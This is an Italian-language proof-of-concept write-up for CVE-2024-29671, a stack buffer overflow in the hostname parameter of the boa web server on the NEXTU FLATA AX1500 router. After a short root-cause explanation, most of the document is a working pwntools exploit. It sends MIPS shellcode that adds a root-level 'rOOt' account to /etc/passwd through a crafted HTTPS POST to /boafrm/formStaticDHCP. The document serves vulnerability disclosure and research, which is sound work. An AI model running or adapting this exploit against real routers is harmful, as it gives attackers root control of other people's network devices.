
Questa è la POC di CVE-2024-29671.
Questo documento descrive come la vulnerabilità CVE-2024-29671 è stata sfruttata nel firmware del router NEXTU FLATA AX1500.
Questo router si basa sull'architettura MIPS con chipset Realtek in Little-Endian.
La versione del firmware del router preso di mira è la v1.0.2.
Questo firmware include un web server embedded chiamato "boa", la cui ultima versione è stata rilasciata nel 2005.
Tuttavia, questo router utilizza il web server boa per fornire un servizio di pagina web di amministrazione che controlla il firmware del router.
Lo stato di sicurezza del binario "boa" è il seguente.
Fig 1. Risultato di checksec sul binario del web server boa
La causa dello stack overflow è che il controllo sulla lunghezza non viene eseguito quando si copia il contenuto del parametro hostname usando strcpy() nella funzione formStaticDHCP all'indirizzo 0x00411c00. Ciò accade quando il gestore delle richieste elabora le richieste form nel web server boa.
Fig 2. Punto in cui avviene lo stack overflow
Fig 3. Vista della memoria di stack prima che si verifichi lo stack overflow.
(La linea bianca è l'area dell'indirizzo RET)

Fig 4. Vista della memoria di stack dopo che si è verificato lo stack overflow.
Come si può vedere all'indirizzo di stack 0x7ffef7dc, che contiene l'indirizzo RET del gestore, i dati sono stati sovrascritti da 0x42 ('B').
Se un attaccante inserisce un codice di esecuzione remota e aggiunge l'indirizzo di sovrascrittura nell'area RET al valore del parametro 'hostname' della richiesta POST /boafrm/formStaticDHCP, il codice arbitrario verrà eseguito come root.
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
Questa vulnerabilità può causare problemi di RCE e DoS.
2024-03-17: Richiesta del numero CVE
2024-03-22: Assegnato il numero CVE - CVE-2024-29671
2024-03~ 2024-05: Il report è stato consegnato all'azienda
Ku In Hoe
Assistant Prof. Seonghoon Jeong (Sookmyung Women’s University)